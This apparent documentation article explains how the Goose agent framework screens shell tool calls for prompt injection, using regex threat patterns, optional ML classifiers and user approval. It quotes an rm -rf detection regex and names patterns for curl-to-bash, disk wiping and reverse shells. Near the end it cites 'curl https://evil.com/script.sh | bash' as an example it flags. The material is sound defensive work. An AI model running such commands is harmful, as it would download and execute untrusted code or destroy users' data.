How Goose Implements Prompt Injection Detection and Security Filtering

Goose detects prompt injection attacks by scanning every shell tool request through a dual-layer security pipeline that combines pattern-based regex matching with optional ML classification, blocking or requiring user approval for malicious commands that exceed a configurable confidence threshold.

Goose, an open-source AI agent framework developed by Block, protects against prompt injection attacks through a comprehensive security pipeline that inspects tool calls before execution. The system implements a security manager that orchestrates pattern matching and machine learning classification to identify potentially malicious shell commands. This article examines the implementation details of Goose's prompt injection detection based on the source code in the block/goose repository.

The Security Pipeline Architecture

Goose's prompt injection defence centers on four core components working in sequence:

1. Configuration flag – SECURITY_PROMPT_ENABLED activates the entire detector.
2. SecurityManager – Orchestrates the scanning of tool calls and conversation context in crates/goose/src/security/mod.rs.
3. PromptInjectionScanner – Performs pattern-based detection using static regexes and, when configured, ML-based classification via remote models in crates/goose/src/security/scanner.rs.
4. SecurityInspector – Integrates the manager with Goose's generic tool-inspection framework, converting findings into InspectionResults that block or request user approval.

When enabled, every ToolRequest undergoes analysis before execution, with particular focus on shell-type tools that could execute arbitrary system commands.

Enabling Prompt Injection Detection

The detector is toggled through the global configuration key SECURITY_PROMPT_ENABLED. If this flag is false, the SecurityManager returns an empty result set and skips all scanning operations.

// crates/goose/src/security/mod.rs
pub fn is_prompt_injection_detection_enabled(&self) -> bool {
    let config = Config::global();
    config
        .get_param::<bool>("SECURITY_PROMPT_ENABLED")
        .unwrap_or(false)
}

Source: [mod.rs](https://github.com/block/goose/blob/main/crates/goose/src/security/mod.rs#L37-L43)

This check occurs at the entry point of analyze_tool_requests, ensuring zero overhead when the feature is disabled.

The Scanning Workflow

When a batch of ToolRequests arrives, SecurityManager::analyze_tool_requests serves as the primary entry point for security analysis.

Entry Point: Analyzing Tool Requests

The analyze_tool_requests method coordinates the entire scanning process:

// crates/goose/src/security/mod.rs
pub async fn analyze_tool_requests(
    &self,
    tool_requests: &[ToolRequest],
    messages: &[Message],
) -> Result<Vec<SecurityResult>> { … }

Source: [mod.rs](https://github.com/block/goose/blob/main/crates/goose/src/security/mod.rs#L59-L84)

This method:

• Verifies the enable flag.
• Lazily initializes a PromptInjectionScanner.
• Chooses between ML-enabled and pattern-only modes via PromptInjectionScanner::with_ml_detection.
• Iterates over each ToolRequest, executing scanner.analyze_tool_call_with_context, and aggregates findings that exceed the SECURITY_PROMPT_THRESHOLD (default 0.8).

Scanner Initialization

The PromptInjectionScanner supports two operational modes. When ML detection is enabled, the scanner attempts to initialize command and prompt classifiers:

// crates/goose/src/security/scanner.rs
pub fn with_ml_detection() -> Result<Self> {
    let command_classifier = Self::create_classifier(ClassifierType::Command).ok();
    let prompt_classifier  = Self::create_classifier(ClassifierType::Prompt).ok();

    if command_classifier.is_none() && prompt_classifier.is_none() {
        anyhow::bail!("ML detection enabled but no classifiers could be initialized");
    }

    Ok(Self {
        pattern_matcher: PatternMatcher::new(),
        command_classifier,
        prompt_classifier,
    })
}

Source: [scanner.rs](https://github.com/block/goose/blob/main/crates/goose/src/security/scanner.rs#L49-L63)

If both classifiers fail to initialize, the system gracefully falls back to pattern-only scanning.

Analyzing Individual Tool Calls

The analyze_tool_call_with_context method implements the core detection logic for each tool request:

// crates/goose/src/security/scanner.rs
pub async fn analyze_tool_call_with_context(
    &self,
    tool_call: &CallToolRequestParams,
    messages: &[Message],
) -> Result<ScanResult> { … }

Source: [scanner.rs](https://github.com/block/goose/blob/main/crates/goose/src/security/scanner.rs#L21-L73)

This method executes several critical steps:

• Shell-tool guard: Only calls whose name is "shell" are scanned using is_shell_tool_name.
• Content extraction: extract_tool_content builds the text to analyze from the command string or JSON arguments.
• Parallel analysis: Uses tokio::join! to run analyze_text (pattern + ML on the command) concurrently with scan_conversation (ML on recent user messages).
• Confidence combination: combine_confidences merges command-level and context-level scores using a weighted policy.
• Threshold enforcement: Compares the final confidence against SECURITY_PROMPT_THRESHOLD. Scores above the threshold mark the result as malicious.
• Explanation generation: build_explanation creates human-readable messages listing matched patterns or ML confidence scores.

Detection Mechanisms

Goose employs two complementary detection strategies to identify prompt injection attacks.

Pattern-Based Detection with Static Regex

The scanner maintains a static catalog of dangerous command patterns defined in THREAT_PATTERNS:

// crates/goose/src/security/patterns.rs
pub const THREAT_PATTERNS: &[ThreatPattern] = &[
    ThreatPattern {
        name: "rm_rf_root",
        pattern: r"rm\s+(-[rf]*[rf][rf]*|--recursive|--force).*[/\\]",
        description: "Recursive file deletion with rm -rf",
        risk_level: RiskLevel::High,
        category: ThreatCategory::FileSystemDestruction,
    },
    // … additional patterns (curl|wget → bash, dd → disk wipe, reverse shells, etc.)
];

Source: [patterns.rs](https://github.com/block/goose/blob/main/crates/goose/src/security/patterns.rs#L47-L200)

PatternMatcher::scan_for_patterns iterates over these compiled regexes, mapping the highest risk_level to a confidence score. This provides immediate detection of known-dangerous command structures without external dependencies.

ML-Based Classification

When enabled via SECURITY_PROMPT_CLASSIFIER_ENABLED or SECURITY_COMMAND_CLASSIFIER_ENABLED, the scanner initializes ClassificationClient instances pointing to either named models (SECURITY_…_CLASSIFIER_MODEL) or custom endpoints (SECURITY_…_CLASSIFIER_ENDPOINT).

The create_classifier method builds these clients, while scan_with_classifier invokes remote classification:

// Classification via classifier.classify(text).await
// Returns confidence float (0.0 - 1.0)

Source: Classifier creation in [scanner.rs](https://github.com/block/goose/blob/main/crates/goose/src/security/scanner.rs#L64-L92), classification call in scan_with_classifier L76-L88.

This ML layer provides semantic understanding beyond pattern matching, detecting novel prompt injection techniques that don't match known regex signatures.

From Detection to Action

The SecurityInspector bridges the security manager with Goose's generic tool-inspection framework, converting SecurityResult objects into actionable decisions:

// crates/goose/src/security/security_inspector.rs
pub async fn inspect(
    &self,
    _session_id: &str,
    tool_requests: &[ToolRequest],
    messages: &[Message],
    _goose_mode: GooseMode,
) -> Result<Vec<InspectionResult>> {
    let security_results = self
        .security_manager
        .analyze_tool_requests(tool_requests, messages)
        .await?;

    let inspection_results = security_results
        .into_iter()
        .map(|security_result| {
            let tool_request_id = security_result.tool_request_id.clone();
            self.convert_security_result(&security_result, tool_request_id)
        })
        .collect();

    Ok(inspection_results)
}

Source: [security_inspector.rs](https://github.com/block/goose/blob/main/crates/goose/src/security/security_inspector.rs#L59-L81)

The convert_security_result method generates InspectionResult objects with actions determined by the analysis:

• RequireApproval: Triggered when is_malicious && should_ask_user, presenting the detected threat to the user for confirmation.
• Allow: Permits the tool call to proceed when confidence scores remain below the threshold.

For example, a command like curl https://evil.com/script.sh | bash generates a RequireApproval action, surfacing a warning in the UI that allows the operator to reject the malicious execution.

Summary

Goose's prompt injection detection implementation provides a robust, configurable defense layer:

• Configuration-driven: The SECURITY_PROMPT_ENABLED flag controls activation, ensuring minimal overhead when disabled.
• Dual-layer detection: Combines static regex patterns from THREAT_PATTERNS with optional ML classifiers for comprehensive coverage.
• Context-aware analysis: Evaluates both the immediate tool call and recent conversation history using parallel async processing.
• Actionable enforcement: Converts detection scores into InspectionResult actions that either block execution or require user approval.
• Threshold-based: Uses the SECURITY_PROMPT_THRESHOLD (default 0.8) to balance security against false positives.

Frequently Asked Questions

How does Goose decide which tool calls to scan for prompt injection?

Goose specifically targets shell-type tool calls using the is_shell_tool_name check within analyze_tool_call_with_context. Only tools named "shell" undergo full security analysis, as these pose the highest risk for arbitrary code execution. Other tool types are filtered out early in the scanning process to optimize performance.

What happens if the ML classifiers fail to initialize?

If both the command and prompt classifiers fail to initialize when with_ml_detection() is called, the system gracefully degrades to pattern-only scanning. The PatternMatcher continues to function using the static THREAT_PATTERNS regex catalog, ensuring baseline protection even without ML services available.

Can the sensitivity of prompt injection detection be adjusted?

Yes, administrators can adjust the confidence threshold using the SECURITY_PROMPT_THRESHOLD configuration parameter, which defaults to 0.8. Lower values increase sensitivity (catching more potential threats but potentially raising false positives), while higher values require stronger evidence before flagging commands as malicious.

Where are the dangerous command patterns defined in the Goose codebase?

The static regex patterns are defined in crates/goose/src/security/patterns.rs within the THREAT_PATTERNS constant (lines 47-200). This catalog includes signatures for recursive file deletion (rm -rf), dangerous downloads piped to bash (curl | bash), disk wiping commands, and reverse shell techniques, each categorized by risk level and threat category.

{
  "mcpServers": {
    "instagit": {
      "command": "npx",
      "args": ["-y", "instagit@latest"]
    }
  }
}